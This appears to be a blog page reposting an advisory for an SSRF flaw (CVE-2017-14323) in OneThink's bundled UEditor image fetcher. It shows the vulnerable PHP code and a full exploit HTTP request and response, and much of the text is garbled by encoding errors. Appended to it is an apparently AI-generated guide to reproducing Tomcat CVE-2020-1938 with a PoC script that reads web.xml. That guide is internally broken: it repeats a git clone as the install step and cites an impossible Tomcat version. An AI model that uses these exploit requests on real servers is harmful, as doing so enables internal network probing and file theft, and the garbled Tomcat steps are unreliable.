ue编辑器漏洞_CVE-2017-14323

# SSRFPS"Server Side Request ForgeryPS(c) in Onethink All version (CVE-2017-14323)

The Onethink is an open source CMS(Content Management System).This system is based on the Thinkphp3.2 development framework.

## Product Download: http://www.onethink.cn

## Vulnerability TypePSoSSRFPS"Server Side Request ForgeryPS(c)

## Attack Type : Remote

## Vulnerability Description

Onethink uses a Ueditor editor with a flawed version that causes the SSRF vulnerability to occur.

The vulnerability codePS"/Public/static/ueditor/php/getRemoteImage.phpPS(c):

$uri = htmlspecialchars( $_POST[ 'upfile' ] );

$uri = str_replace( "&" , "&" , $uri );

getRemoteImage( $uri,$config );

//echo($uri);

/**

* OP3IxY=E!

* @param $uri

* @param $config

*/

function getRemoteImage( $uri,$config)

{

//ooAOxY=E!E+-1/4aIThOAE

set_time_limit( 0 );

//ue_separate_ue ueOAOU'<

$imgUrls = explode( "ue_separate_ue" , $uri );

$tmpNames = array();

foreach ( $imgUrls as $imgUrl ) {

//http?aI*NeO$?

if(strpos($imgUrl,"http")!==0){

array_push( $tmpNames , "error" );

continue;

}

//echo($imgUrl);

//>>nE!CeCoI*

$heads = get_headers( $imgUrl ); //This is a blind ssrf

//EAA'1/4i2a

if ( !( stristr( $heads[ 0 ] , "200" ) && stristr( $heads[ 0 ] , "OK" ) ) ) {

array_push( $tmpNames , "error" );

continue;

}

//,nE1/2NeO$?(A(c)O1AuNeO$?oIContent-TypeNeO$?)

$fileType = strtolower( strrchr( $imgUrl , '.' ) );

if ( !in_array( $fileType , $config[ 'allowFiles' ] ) || stristr( $heads[ 'Content-Type' ] , "image" ) ) {

array_push( $tmpNames , "error" );

continue;

}

//var_dump($tmpNames);

//'o?aEa3o>>o3aCo2C/>>nE!OP3II1/4AE!

ob_start();

$context = stream_context_create(

array (

'http' => array (

'follow_location' => false // don't follow redirects

)

)

);

//CeE*+-PSphp.iniODuAfopen wrappersON3/41/4$?>>i

readfile( $imgUrl,false,$context); //vulnerability is here,request any http(s) url

$img = ob_get_contents();

ob_end_clean();

## Exploit

Request Content:

POST http://target/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1

Host: target

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 37

Connection: keep-alive

upfile=https://www.google.com/?%23.jpg

Response Content:

HTTP/1.1 200 OK

Server: nginx

Content-Type: text/html; charset=utf-8

Content-Length: 110

{'url':'upload/43361505134158.jpg','tip':'OP3II1/4AE!xY=E!3E1|PS!','srcUrl':'http://www.baidu.com/?#.jpg'}

modify the above upfile parameterPS!example:

request http protocol: upfile=http://www.google.com

request https protocol: upfile=https://www.google.com

This vulnerability only use http!C/https protocol

this vulnerability trigger need allow\_url\_fopen option is enable in php.iniPS!allow\_url\_fopen option defualt is enable.

## Versions

Onethink all version

## Impact

SSRF(Server Side Request Forgery) in Onethink V1.0 and V1.1 version allow remote attackers to information detection,internal network server attack.

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14323

service@baimaohui.net

要复现Tomact_CVE-2020-1938漏洞,可以按照以下步骤进行操作: 1. 下载POC:可以使用以下命令下载POC文件: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 2. 在攻击机上搭建环境:确保攻击机上已经安装了Tomcat服务器,并且版本在3.4.3以下,可以使用以下命令下载并安装Tomcat 3.4.3版本: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 3. 配置Tomcat服务器:在Tomcat安装目录下,找到server.xml文件,在<Connector>标签中添加以下内容: protocol="org.apache.coyote.ajp.AjpNio2Protocol" secretRequired="false" 4. 启动Tomcat服务器:在Tomcat安装目录下运行启动脚本,如./catalina.sh run 5. 复现漏洞:使用以下命令触发漏洞复现: python3 file_include.py -u http://目标IP:目标端口/ -p /WEB-INF/web.xml 以上步骤可以帮助你复现Tomact_CVE-2020-1938漏洞。请注意,在进行漏洞复现时务必遵守道德规范,并获得合法授权进行测试。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [CVE-2020-1938 漏洞复现](https://blog.csdn.net/weixin_48799157/article/details/124889366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [CVE-2020-1938 Tomcat文件包含漏洞复现](https://blog.csdn.net/qq_49279082/article/details/129018726)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值